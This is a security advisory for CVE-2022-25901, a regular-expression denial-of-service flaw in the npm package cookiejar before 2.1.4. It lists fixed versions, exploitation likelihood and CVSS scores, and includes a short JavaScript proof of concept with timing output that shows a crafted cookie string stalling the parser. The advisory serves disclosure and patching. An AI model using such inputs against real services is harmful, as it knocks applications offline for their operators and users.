CVE-2022-25901
cookiejar Regular Expression Denial of Service via Cookie.parse function
Description
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers. Proof of concept: ``` ts\nconst { CookieJar } = require("cookiejar"); const jar = new CookieJar(); const start = performance.now(); const attack = "a" + "t".repeat(50_000); jar.setCookie(attack); console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`); ``` ``` CookieJar.setCookie(): 2963.214399999939ms ```
How to fix CVE-2022-25901
To remediate CVE-2022-25901, upgrade the affected package to a fixed version below.
- —upgrade to 2.1.2-1+deb11u1 or later
- —upgrade to 2.0.1-1+deb10u1 or later
- —no fix listed
- —upgrade to 2.1.4 or later
Is CVE-2022-25901 being exploited?
Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.
Affected packages (4)
- from 0, < 2.1.2-1+deb11u1
- from 0, < 2.0.1-1+deb10u1
- from 0, <= 2.1.3
- from 0, < 2.1.4
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM5.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |